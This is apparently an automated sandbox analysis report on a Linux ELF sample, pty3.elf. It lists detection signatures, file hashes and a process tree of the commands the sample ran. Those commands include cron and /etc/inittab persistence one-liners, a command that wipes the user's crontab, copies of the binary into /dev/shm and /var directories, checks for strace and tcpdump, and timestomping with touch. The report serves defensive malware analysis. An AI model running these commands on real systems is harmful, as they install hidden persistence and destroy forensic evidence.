Analysis

  • max time kernel
    2s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20251231-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20251231-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/01/2026, 01:25

General

  • Target
    pty3.elf
  • Size 47KB
  • Sample260126-bs7tyafw7a
  • SHA256 a7682d1edc81925c3d7d2738db2283c742144d8321cfaf1888cdb66c1cd6ae83
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Indicator Removal: Timestomp 1 TTPs 10 IoCs

    Adversaries may remove indicators of compromise from the host to evade detection.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pty3.elf
    /tmp/pty3.elf
    1⤵
    • Changes its process name
    • Writes file to tmp directory
    PID:1523
    • /bin/sh
      sh -c "pidof -x strace > /dev/null"
      2⤵
        PID:1524
        • /bin/pidof
          pidof -x strace
          3⤵
          • Reads runtime system information
          PID:1525
      • /bin/sh
        sh -c "pidof -x tcpdump > /dev/null"
        2⤵
          PID:1526
          • /bin/pidof
            pidof -x tcpdump
            3⤵
            • Reads runtime system information
            PID:1527
        • /bin/sh
          sh -c "cat /etc/inittab | grep -v \"/tmp/pty3.elf\" > /etc/inittab2"
          2⤵
            PID:1530
            • /bin/cat
              cat /etc/inittab
              3⤵
                PID:1531
              • /bin/grep
                grep -v /tmp/pty3.elf
                3⤵
                  PID:1532
              • /bin/sh
                sh -c "crontab -l | grep /tmp/pty3.elf | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3.elf > /dev/null 2>&1 &\") | crontab -"
                2⤵
                  PID:1533
                  • /bin/grep
                    grep -v "no cron"
                    3⤵
                      PID:1537
                    • /bin/grep
                      grep /tmp/pty3.elf
                      3⤵
                        PID:1536
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:1535
                        • /usr/bin/crontab
                          crontab -
                          3⤵
                          • Creates/modifies Cron job
                          PID:1541
                        • /usr/bin/crontab
                          crontab -l
                          3⤵
                            PID:1543
                        • /bin/sh
                          sh -c "crontab -r"
                          2⤵
                            PID:1534
                            • /usr/bin/crontab
                              crontab -r
                              3⤵
                                PID:1538
                            • /bin/sh
                              sh -c "echo \"0:2345:respawn:/tmp/pty3.elf\" >> /etc/inittab2"
                              2⤵
                                PID:1539
                              • /bin/sh
                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                2⤵
                                  PID:1542
                                  • /bin/cat
                                    cat /etc/inittab2
                                    3⤵
                                      PID:1544
                                  • /bin/sh
                                    sh -c "rm -rf /etc/inittab2"
                                    2⤵
                                      PID:1545
                                      • /bin/rm
                                        rm -rf /etc/inittab2
                                        3⤵
                                          PID:1546
                                      • /bin/sh
                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                        2⤵
                                        • Indicator Removal: Timestomp
                                        PID:1547
                                        • /usr/bin/touch
                                          touch -acmr /bin/ls /etc/inittab
                                          3⤵
                                          • Indicator Removal: Timestomp
                                          PID:1548
                                      • /bin/sh
                                        sh -c "/bin/uname -n"
                                        2⤵
                                          PID:1551
                                          • /bin/uname
                                            /bin/uname -n
                                            3⤵
                                              PID:1553
                                          • /bin/sh
                                            sh -c "cp -f /tmp/pty3.elf /dev/shm/pty3.elf"
                                            2⤵
                                              PID:1552
                                              • /bin/cp
                                                cp -f /tmp/pty3.elf /dev/shm/pty3.elf
                                                3⤵
                                                • Writes file to shm directory
                                                PID:1554
                                            • /bin/sh
                                              sh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3.elf\" > /etc/inittab2"
                                              2⤵
                                                PID:1556
                                                • /bin/grep
                                                  grep -v /dev/shm/pty3.elf
                                                  3⤵
                                                    PID:1558
                                                  • /bin/cat
                                                    cat /etc/inittab
                                                    3⤵
                                                      PID:1557
                                                  • /bin/sh
                                                    sh -c "crontab -l | grep /dev/shm/pty3.elf | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3.elf > /dev/null 2>&1 &\") | crontab -"
                                                    2⤵
                                                      PID:1559
                                                      • /bin/grep
                                                        grep -v "no cron"
                                                        3⤵
                                                          PID:1562
                                                        • /bin/grep
                                                          grep /dev/shm/pty3.elf
                                                          3⤵
                                                            PID:1561
                                                          • /usr/bin/crontab
                                                            crontab -l
                                                            3⤵
                                                              PID:1560
                                                            • /usr/bin/crontab
                                                              crontab -
                                                              3⤵
                                                              • Creates/modifies Cron job
                                                              PID:1565
                                                            • /usr/bin/crontab
                                                              crontab -l
                                                              3⤵
                                                                PID:1567
                                                            • /bin/sh
                                                              sh -c "echo \"0:2345:respawn:/dev/shm/pty3.elf\" >> /etc/inittab2"
                                                              2⤵
                                                                PID:1563
                                                              • /bin/sh
                                                                sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                2⤵
                                                                  PID:1566
                                                                  • /bin/cat
                                                                    cat /etc/inittab2
                                                                    3⤵
                                                                      PID:1568
                                                                  • /bin/sh
                                                                    sh -c "rm -rf /etc/inittab2"
                                                                    2⤵
                                                                      PID:1569
                                                                      • /bin/rm
                                                                        rm -rf /etc/inittab2
                                                                        3⤵
                                                                          PID:1570
                                                                      • /bin/sh
                                                                        sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                        2⤵
                                                                        • Indicator Removal: Timestomp
                                                                        PID:1571
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /etc/inittab
                                                                          3⤵
                                                                          • Indicator Removal: Timestomp
                                                                          PID:1572
                                                                      • /bin/sh
                                                                        sh -c "cp -f /tmp/pty3.elf /var/tmp/pty3.elf"
                                                                        2⤵
                                                                          PID:1573
                                                                          • /bin/cp
                                                                            cp -f /tmp/pty3.elf /var/tmp/pty3.elf
                                                                            3⤵
                                                                              PID:1574
                                                                          • /bin/sh
                                                                            sh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3.elf\" > /etc/inittab2"
                                                                            2⤵
                                                                              PID:1576
                                                                              • /bin/grep
                                                                                grep -v /var/tmp/pty3.elf
                                                                                3⤵
                                                                                  PID:1578
                                                                                • /bin/cat
                                                                                  cat /etc/inittab
                                                                                  3⤵
                                                                                    PID:1577
                                                                                • /bin/sh
                                                                                  sh -c "crontab -l | grep /var/tmp/pty3.elf | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3.elf > /dev/null 2>&1 &\") | crontab -"
                                                                                  2⤵
                                                                                    PID:1579
                                                                                    • /bin/grep
                                                                                      grep -v "no cron"
                                                                                      3⤵
                                                                                        PID:1582
                                                                                      • /usr/bin/crontab
                                                                                        crontab -l
                                                                                        3⤵
                                                                                          PID:1580
                                                                                        • /bin/grep
                                                                                          grep /var/tmp/pty3.elf
                                                                                          3⤵
                                                                                            PID:1581
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            3⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:1587
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            3⤵
                                                                                              PID:1589
                                                                                          • /bin/sh
                                                                                            sh -c "echo \"0:2345:respawn:/var/tmp/pty3.elf\" >> /etc/inittab2"
                                                                                            2⤵
                                                                                              PID:1583
                                                                                            • /bin/sh
                                                                                              sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                              2⤵
                                                                                                PID:1588
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab2
                                                                                                  3⤵
                                                                                                    PID:1590
                                                                                                • /bin/sh
                                                                                                  sh -c "rm -rf /etc/inittab2"
                                                                                                  2⤵
                                                                                                    PID:1591
                                                                                                    • /bin/rm
                                                                                                      rm -rf /etc/inittab2
                                                                                                      3⤵
                                                                                                        PID:1592
                                                                                                    • /bin/sh
                                                                                                      sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                      2⤵
                                                                                                      • Indicator Removal: Timestomp
                                                                                                      PID:1593
                                                                                                      • /usr/bin/touch
                                                                                                        touch -acmr /bin/ls /etc/inittab
                                                                                                        3⤵
                                                                                                        • Indicator Removal: Timestomp
                                                                                                        PID:1594
                                                                                                    • /bin/sh
                                                                                                      sh -c "cp -f /tmp/pty3.elf /var/lock/pty3.elf"
                                                                                                      2⤵
                                                                                                        PID:1596
                                                                                                        • /bin/cp
                                                                                                          cp -f /tmp/pty3.elf /var/lock/pty3.elf
                                                                                                          3⤵
                                                                                                            PID:1597
                                                                                                        • /bin/sh
                                                                                                          sh -c "cat /etc/inittab | grep -v \"/var/lock/pty3.elf\" > /etc/inittab2"
                                                                                                          2⤵
                                                                                                            PID:1599
                                                                                                            • /bin/grep
                                                                                                              grep -v /var/lock/pty3.elf
                                                                                                              3⤵
                                                                                                                PID:1601
                                                                                                              • /bin/cat
                                                                                                                cat /etc/inittab
                                                                                                                3⤵
                                                                                                                  PID:1600
                                                                                                              • /bin/sh
                                                                                                                sh -c "crontab -l | grep /var/lock/pty3.elf | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3.elf > /dev/null 2>&1 &\") | crontab -"
                                                                                                                2⤵
                                                                                                                  PID:1602
                                                                                                                  • /bin/grep
                                                                                                                    grep /var/lock/pty3.elf
                                                                                                                    3⤵
                                                                                                                      PID:1604
                                                                                                                    • /bin/grep
                                                                                                                      grep -v "no cron"
                                                                                                                      3⤵
                                                                                                                        PID:1605
                                                                                                                      • /usr/bin/crontab
                                                                                                                        crontab -l
                                                                                                                        3⤵
                                                                                                                          PID:1603
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -
                                                                                                                          3⤵
                                                                                                                          • Creates/modifies Cron job
                                                                                                                          PID:1609
                                                                                                                        • /usr/bin/crontab
                                                                                                                          crontab -l
                                                                                                                          3⤵
                                                                                                                            PID:1611
                                                                                                                        • /bin/sh
                                                                                                                          sh -c "echo \"0:2345:respawn:/var/lock/pty3.elf\" >> /etc/inittab2"
                                                                                                                          2⤵
                                                                                                                            PID:1606
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                            2⤵
                                                                                                                              PID:1607
                                                                                                                              • /bin/cat
                                                                                                                                cat /etc/inittab2
                                                                                                                                3⤵
                                                                                                                                  PID:1610
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "rm -rf /etc/inittab2"
                                                                                                                                2⤵
                                                                                                                                  PID:1613
                                                                                                                                  • /bin/rm
                                                                                                                                    rm -rf /etc/inittab2
                                                                                                                                    3⤵
                                                                                                                                      PID:1614
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                    2⤵
                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                    PID:1615
                                                                                                                                    • /usr/bin/touch
                                                                                                                                      touch -acmr /bin/ls /etc/inittab
                                                                                                                                      3⤵
                                                                                                                                      • Indicator Removal: Timestomp
                                                                                                                                      PID:1616
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "cp -f /tmp/pty3.elf /var/run/pty3.elf"
                                                                                                                                    2⤵
                                                                                                                                      PID:1617
                                                                                                                                      • /bin/cp
                                                                                                                                        cp -f /tmp/pty3.elf /var/run/pty3.elf
                                                                                                                                        3⤵
                                                                                                                                          PID:1618
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "cat /etc/inittab | grep -v \"/var/run/pty3.elf\" > /etc/inittab2"
                                                                                                                                        2⤵
                                                                                                                                          PID:1620
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v /var/run/pty3.elf
                                                                                                                                            3⤵
                                                                                                                                              PID:1622
                                                                                                                                            • /bin/cat
                                                                                                                                              cat /etc/inittab
                                                                                                                                              3⤵
                                                                                                                                                PID:1621
                                                                                                                                            • /bin/sh
                                                                                                                                              sh -c "crontab -l | grep /var/run/pty3.elf | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3.elf > /dev/null 2>&1 &\") | crontab -"
                                                                                                                                              2⤵
                                                                                                                                                PID:1623
                                                                                                                                                • /bin/grep
                                                                                                                                                  grep /var/run/pty3.elf
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1625
                                                                                                                                                  • /bin/grep
                                                                                                                                                    grep -v "no cron"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1626
                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                      crontab -l
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1624
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -
                                                                                                                                                        3⤵
                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                        PID:1629
                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                        crontab -l
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1631
                                                                                                                                                      • /bin/sh
                                                                                                                                                        sh -c "echo \"0:2345:respawn:/var/run/pty3.elf\" >> /etc/inittab2"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1627
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "cat /etc/inittab2 > /etc/inittab"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1630
                                                                                                                                                            • /bin/cat
                                                                                                                                                              cat /etc/inittab2
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1632
                                                                                                                                                            • /bin/sh
                                                                                                                                                              sh -c "rm -rf /etc/inittab2"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1633
                                                                                                                                                                • /bin/rm
                                                                                                                                                                  rm -rf /etc/inittab2
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1634
                                                                                                                                                                • /bin/sh
                                                                                                                                                                  sh -c "touch -acmr /bin/ls /etc/inittab"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Indicator Removal: Timestomp
                                                                                                                                                                  PID:1635
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /bin/ls /etc/inittab
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Indicator Removal: Timestomp
                                                                                                                                                                    PID:1636

                                                                                                                                                              Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                    Replay Monitor

                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                    Downloads

                                                                                                                                                                    pty3.elf

                                                                                                                                                                    • Path /dev/shm/pty3.elf
                                                                                                                                                                    • Size 47KB
                                                                                                                                                                    • SHA256 a7682d1edc81925c3d7d2738db2283c742144d8321cfaf1888cdb66c1cd6ae83
                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 95B
                                                                                                                                                                    • SHA256 3c426448de62ff0497ed48d1c622feca5864024df1bca3894752fb23b2888eb8
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab

                                                                                                                                                                    • Path /etc/inittab
                                                                                                                                                                    • Size 129B
                                                                                                                                                                    • SHA256 8c32c51a4e3765348fc93c218bad4af6f98c633b7c531ed909cf5b3e3f8fd2ac
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 162B
                                                                                                                                                                    • SHA256 36c60ad82e074498e53cf90f60ce137d960e7afa6ba2f9c674de464383009a59
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 29B
                                                                                                                                                                    • SHA256 1ec46f19cc669c02a4656b299d4f22277c41af6e6a3974261af0a807933d48da
                                                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                                                    inittab2

                                                                                                                                                                    • Path /etc/inittab2
                                                                                                                                                                    • Size 62B
                                                                                                                                                                    • SHA256 f882c870604ee09490d32aea0484d73a4349b565117a0f15061644d2c73732c7
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.2vW1p0

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.2vW1p0
                                                                                                                                                                    • Size 360B
                                                                                                                                                                    • SHA256 2c5f53c310911ee976a215c700d3d0dee6ef3a21f6fc19ab32cf9a8592ca6e62
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.OrPLeS

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.OrPLeS
                                                                                                                                                                    • Size 218B
                                                                                                                                                                    • SHA256 f456c9f1af52ddd07459068abe5156584034c94094434624760b548fb14e3b4d
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.QqBTJX

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.QqBTJX
                                                                                                                                                                    • Size 312B
                                                                                                                                                                    • SHA256 99ceff3e24d59ea80686aa8f5950528250062db32be2eff9d3377b2f0c145060
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.ecOiq3

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.ecOiq3
                                                                                                                                                                    • Size 407B
                                                                                                                                                                    • SHA256 6b29a09ed99e5a67afdee4a6a65e99d9b222ab86c7b41bb92a82d46f6e859bcc
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                    tmp.wQ6GHY

                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.wQ6GHY
                                                                                                                                                                    • Size 265B
                                                                                                                                                                    • SHA256 b95cd848500f5d382debaa49497c4e02ef83a41e98abe919901440b96974a260
                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH